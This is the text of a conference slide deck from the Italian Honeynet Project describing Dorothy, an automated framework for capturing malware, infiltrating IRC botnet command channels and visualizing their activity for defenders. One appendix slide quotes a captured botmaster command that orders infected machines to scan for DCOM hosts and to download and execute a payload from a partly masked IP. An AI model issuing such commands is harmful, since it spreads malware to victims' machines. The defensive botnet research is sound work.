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An Open Botnet Analysis Framework for An Open Botnet Analysis - - PowerPoint PPT Presentation
An Open Botnet Analysis Framework for An Open Botnet Analysis - - PowerPoint PPT Presentation
An Open Botnet Analysis Framework for An Open Botnet Analysis Framework for Automatic Tracking and Activity Visualization Automatic Tracking and Activity Visualization marco riccardi Italian Chapter - The Honeynet Project marco cremonini
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Botnets are considered one of the most dangerous threat
- Hard to keep pace with their evolutions
- Hard to protect against their attacks
- Hard to mitigate
Time between Command and Center (C&C) identification and
botnet mitigation is tipically too long Technical issues Legal issues
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Mitigation plan should be as quick as possible Automation is required …otherwise, human interaction is needed
- Considering social context (legal, culture, etc)
- All the contermeasures provided by ISP/LEO (blacklisting, dns
update,etc) are to be closely justified before its execution.
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A mitigation plan should be as quick as possible Automation is required …otherwise, human interaction is needed
- Considering social context (legal, economic, oprational, etc.)
- All contermeasures provided by ISP/LEO (blacklisting, DNS
update,etc) must be clearly justified before their implementation
Developing a framework that automatically provide all information needed by an ISP/LEO to activate a mitigation strategy
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Automated framework for IRC botnet analysis
- Automatic Malware acquisition & analysis
- Automatic C&C IRC channel infiltration
- Automatic reporting activity status
Interactive graphic front-end Real time information about monitored C&Cs
- Defenders can use these information to develop timely
countermeasures to mitigate the risks
Customizable
- Defenders could be alerted when a botnet activity is detected in
their network
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Malware Collection
Module
Virtual Honeypot
Injection Module
Network Analysis
Module
Data Extraction
Module
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Infiltration Module Geolocation Module Live Data Extraction
Module
Data Visualization
Module
Web Graphical User
Interface
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Proposed proof of concept Developed using bash scripting language
- Fully compatible with POSIX systems
- Fully automatized
Developed to be modular
- Easy integration with other tools
- Customizable
90% of its components are open source
The Virualization Module has been developed on VMware A migration to VirtualBox is ongoing
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Low interaction honeypots (nepenthes) All honeypots upload their malwares to a central
malware repository
Recently has been added
the support to the Mwcollect Alliance repository
A malware analysis module (static/dynamic) integration
is ongoing.
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The virtualization enviroment has been developed on VMware
enviroment vmtools support the scripting implementation The malware is executed on a virtual machine (Win XP SP2) After three minutes the VM is reverted to its original snapshot
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Inspect zombies network behavior during the three minutes of
infected VM execution
The network traffic is sniffed by tcpdump tool The output is stored into a dump file and sent to the next
module
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The goal of this module is to extract all relevant information
about C&Cs
Extracted information are used for botnet classification
- C&C IP addresses
- C&C Satellites
- Hostname associated
- Hostname resolved by DNS servers
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Infiltrate, Observe, Report IRC-drone
- Full bash encoded
- Multichannel support
- Auto-respond to PING request
- The drone injects all the IRC commands extracted from the
traffic generated by VM zombies as is.
Compatible to non IRC-compliant C&C
The connection toward the C&C is
anonymized through the TOR network
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All the data received and sent to C&Cs are logged into
txt files
Instant notification by email when :
- Topic changement
- New command issued by bot master
- MODE option modification
A full module re-engineerization is ongoing
- Multiplatform
- Support for more onion networks
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Geolocation information give an approximated
geographical location of C&Cs
- Can be useful to consider the social contex
Useful for understanding which law officer notify
Provided by GeoCityLite
Free, good approximation
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All log files generated by the IRC-drone are parsed
- Topics extraction
- Botmaster nickname/user host extraction
- Time delay calculation
Between each topic modification Between each PING request (i.e. heartbeat)
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Parameter IPs Hosts Ports Zombies Malwares Chans Satellites ALL-Hosts Mail Addr
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Shape Color Circle Targets Circle C&C Circle Satellites Circle Spreading Circle Spam Square Services Triange Source
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Shape Color Circle Targets Circle C&C Circle Satellites Circle Spreading Circle Spam Square Services Triange Source
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Shape Color Circle Targets Circle C&C Circle Satellites Circle Spreading Circle Spam Square Services Triange Source
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“Overview first ,zoom and filter, then details on-demand”
- B. Shneiderman. The eyes have it: A task by data type
taxonomy for information visualizations.
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Tested for a period of 27 days between January and March
2009
Two public IPs used for malware acquisition 3900 malware downloaded
- 304 unique
- 562,657 Mb downloaded
16 unique C&C classified
- 50 IRC channels monitored
8992 unique pubblic IPs indentified as zombies
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Formed by 5 C&C servers
- 2 Located in China
- 2 Located in Canada
- 1 Located in Holland
7 Different channel names used
- #siwa was the most used
37 different C&C satellites providing botnet updating service
through HTTP
42 host names related to siwa IP addresses 4346 unique IP addesses identified as zombies
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Redesignment of the information flow management
- Information repository stored into relational database
Evaluate the developing of the core engine by means of other
programming languages
Integration of a malware analysis module
- Dynamical & Static analysis
Virtual Honeypot: migration to VirtualBox
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New module design and realization
- A module for analyzing P2P botnets
- A spam-trap implementation is ongoing
Development of a new IRC Drone
- Multiplatform, distribuited
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Data visualization tuning
- Investigating new ways for representing botnet data
Developing a new web interface
- More dynamic
- Multi-user / user customizable
Improve the notification process
- Mailing list
- Web 2.0 comunication channels
(twitter, feeds, blogs, ..)
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The Dorothy Project is an ongoing activity of the Italian
Honeynet Project (IHP) Chapter
Today, there are different countributors supporting the project:
- Two reserchers of the University of Pavia are contributing by
integrating their own botnet analysis tools (H.I.V.E) with honey-doroty
- Three students from the University of Milan are developing
new malware analysis modules
- The IHP Chapter has ten active participants that are
contributing to the realization of a new version of the botnet analysis framework
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The Dorothy Project is an ongoing activity of the Italian
Honeynet Project (IHP) Chapter
Today, there are different countributors supporting the project:
- Two reserchers of the University of Pavia are contributing by
integrating their own botnet analysis tools (H.I.V.E) with honey-doroty
- Three students from the University of Milan are developing
new malware analysis modules
- The IHP Chapter has ten active participants that are
contributing to the realization of a new version of the botnet analysis framework ….we hope to receive your supports too!
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The Italian Honeynet Chapter – www.honeynet.it marco riccardi – marco.riccardi [at] honeynet [dot] it marco cremonini – marco.cremonini [at] unimi [dot] it
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Botmaster execution request
##pi## :* ipscan s.s dcom2 -s ][ * wormride on -s ][ * download http://72.xxx.xxx.xxx/mb2.exe -e –s 72.xxx.xxx.xxx:2293 --> :QfNUXNcm!~xqbmgz@92.xxx.xxx.xxx PRIVMSG ##RUSSIA## :-041- Running FTP wormride thread 72.xxx.xxx.xxx:2293 --> :Tdkzdtwh!~bxoluj@mna75- 4-82-225-77-1.yyy.yyy.net PRIVMSG ##russia## :- 04wormride- 1. tftp transfer to 82.xxx.xxx.xxx complete
Zombies response
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- Pie chars
Number of DNS query
- Bar chars
Number of DNS query executed by analized malware,grouped by C&C
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- C&C heart-beat
Time avarege between two PING request
- Topic activity
Time avarege between TOPIC changement
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